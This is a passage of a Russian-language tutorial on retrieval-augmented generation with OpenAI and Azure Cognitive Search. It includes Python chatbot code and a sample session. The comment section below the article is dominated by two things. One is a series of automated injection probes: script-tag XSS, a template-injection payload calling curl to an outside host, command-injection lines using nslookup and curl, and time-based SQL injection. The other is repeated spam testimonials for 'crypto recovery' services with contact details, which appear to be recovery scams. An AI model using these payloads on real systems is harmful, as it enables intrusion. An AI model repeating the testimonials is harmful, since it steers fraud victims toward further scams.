            fields="embedding",
        )

        search_client = SearchClient(
            endpoint=AZURE_SEARCH_ENDPOINT,
            index_name=AZURE_SEARCH_INDEX_NAME,
            credential=AzureKeyCredential(AZURE_SEARCH_KEY),
        )

        docs = search_client.search(search_text="", vectors=[query_vector], top=1)
        context_list = [doc["content"] for doc in docs]

        return context_list

    def _rag(self, context_list: list[str], query: str) -> str:
        """
        Просит LLM сформировать ответ на запрос пользователя с использованием предоставленных контекстных сведений.
        """
        user_message = {"role": USER, "content": query}
        self.chat_history.append(user_message)

        context = "\n\n".join(context_list)
        messages = [
            {
                "role": SYSTEM,
                "content": (
                    "You're a helpful assistant.\n"
                    "Please answer the user's question using only information you can "
                    "find in the context.\n"
                    "If the user's question is unrelated to the information in the "
                    "context, say you don't know.\n"
                    f"Context: ```{context}```\n"
                ),
            }
        ]
        messages = messages + self.chat_history

        chat_completion = openai.ChatCompletion.create(
            deployment_id=AZURE_OPENAI_CHATGPT_DEPLOYMENT,
            messages=messages,
            temperature=0.7,
            max_tokens=1024,
            n=1,
        )

        response = chat_completion.choices[0].message.content
        assistant_message = {"role": ASSISTANT, "content": response}
        self.chat_history.append(assistant_message)

        return response

    def ask(self, query: str) -> str:
        """
        Выполняет запросы к LLM с использованием RAG.
        """
        user_intent = self._summarize_user_intent(query)
        context_list = self._get_context(user_intent)
        response = self._rag(context_list, query)
        print(
            "*****\n"
            f"QUESTION:\n{query}\n"
            f"USER INTENT:\n{user_intent}\n"
            f"RESPONSE:\n{response}\n"
            "*****\n"
        )

        return response

Чат‑бот хранит список chat_history, содержащий вопросы и ответы. Поэтому он может рассматривать вопросы в контексте всей беседы. Класс Chatbot обладает единственной публичной функцией — ask, при выполнении которой используются следующие механизмы, представленные несколькими функциями:

  • Функция _summarize_user_intent использует LLM для перефразирования вопроса пользователя с учётом истории чата. Зачем это нужно? Представьте себе, что пользователь задаёт вопрос, который сам по себе особого смысла не имеет, но при этом, если рассмотреть его в контексте истории чата, это — совершенно нормальный вопрос. Например — если в вопросе упоминается «это» (it) по отношению к чему‑то, о чём речь шла ранее. Если поискать в индексе документы, имеющие отношение исключительно к вопросу пользователя, то, вероятно, хороших результатов получить не удастся. Но если перефразировать вопрос, включив в него историю чата, мы получим гораздо более качественный набор документов. Скоро, демонстрируя сеанс общения с чат‑ботом, я это вам покажу.

  • Функция _get_context производит поиск по ранее созданному индексу. Она ищет документы, имеющие отношение к намерению пользователя, сформулированному на предыдущем шаге.

  • Функция _rag предлагает LLM дать ответ на запрос пользователя, основываясь на документах, возвращённых системой поиска, и на истории чата. На этом шаге мы обновляем историю чата, добавляя в неё сообщения пользователя и ассистента.

Если посмотреть на файлы, эквивалентные этому, расположенные в папках проектов LangChain и Semantic Kernel, то окажется, что и там и там используются API для работы с шаблонами, с помощью которых конструируют промпты, отправляемые LLM. Вы, кроме того, заметите, что в библиотеке LangChain имеется встроенная поддержка хранения истории чата. А фреймворк Semantic Kernel, с другой стороны, построен вокруг концепции функций (фрагментов кода, пригодных для многократного использования) и плагинов (коллекций функций, которые могут вызываться внешними приложениями стандартизированным способом).

Вот как выглядит сеанс общения с чат‑ботом:

*****
QUESTION:
I need a large backpack. Which one do you recommend?
USER INTENT:
User's intent: The user is looking for a recommendation for a large backpack.
RESPONSE:
Based on the information in the context, the SummitClimber Backpack has a dedicated laptop compartment that can accommodate laptops up to 17 inches and it also has a hydration sleeve and tube port, making it compatible with most hydration bladders for convenient on-the-go hydration. However, it's important to keep in mind the cautionary notes and warranty information provided as well. If you're looking for a backpack larger than the SummitClimber Backpack, I don't have that information available.
*****

*****
QUESTION:
How much does it cost?
USER INTENT:
User's real intent: The user wants to know the price of the SummitClimber Backpack that the assistant recommended.
RESPONSE:
The price of the SummitClimber Backpack is $120.
*****

*****
QUESTION:
And how much for a donut?
USER INTENT:
User's real intent: This query does not seem related to the previous conversation about backpacks and may be a joke or a non-serious question.
RESPONSE:
I'm sorry, I don't understand your question. Is there anything else I can assist you with?
*****

В дополнение к вопросам и ответам я привожу тут и сведения о намерении пользователя, что позволит вам лучше почувствовать то, в чём польза включения таких сведений в запрос к LLM. Как видите, второй вопрос, если не принимать во внимание историю чата, выглядит неясным, но сведения о намерении пользователя не оставляют неоднозначностей, включая в себя знания о беседе, полученные чат‑ботом после первого вопроса.

Последний ответ показывает, что система отвечает на наши вопросы, полагаясь только на предоставленные ей документы, а не на общую информацию, которую LLM могла усвоить в процессе обучения.

Итоги

В этом материале мы рассмотрели паттерн RAG, который позволяет расширять предварительно обученные LLM, давая им доступ к пользовательским данным. Мы поговорили об исследовательской работе, где был представлен RAG, о том, как этот паттерн применяется на практике, о том, какие способы поиска информации обычно используются при его реализации. В конце статьи мы разобрали пример кода, демонстрирующий реализацию RAG с использованием OpenAI и Azure Cognitive Search.

Если вам интересно взглянуть на полноценное чат‑приложение, основанное на RAG, в состав которого входит клиентский код, в котором использовался передовой опыт создания проектов корпоративного уровня, рекомендую обратиться к репозиторию Azure Chat, созданному моими коллегами из Microsoft. Этот проект демонстрирует решение множества распространённых задач, и, уверена, знакомство с ним сэкономит вам немало времени.

Надеюсь, этот материал вдохновил вас на использование RAG в своих разработках. Спасибо, что дочитали до этого места и удачи вам с вашими ИИ‑проектами!

О, а приходите к нам работать? 🤗 💰

Мы в wunderfund.io занимаемся высокочастотной алготорговлей с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.

Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.

Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.

Присоединяйтесь к нашей команде

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon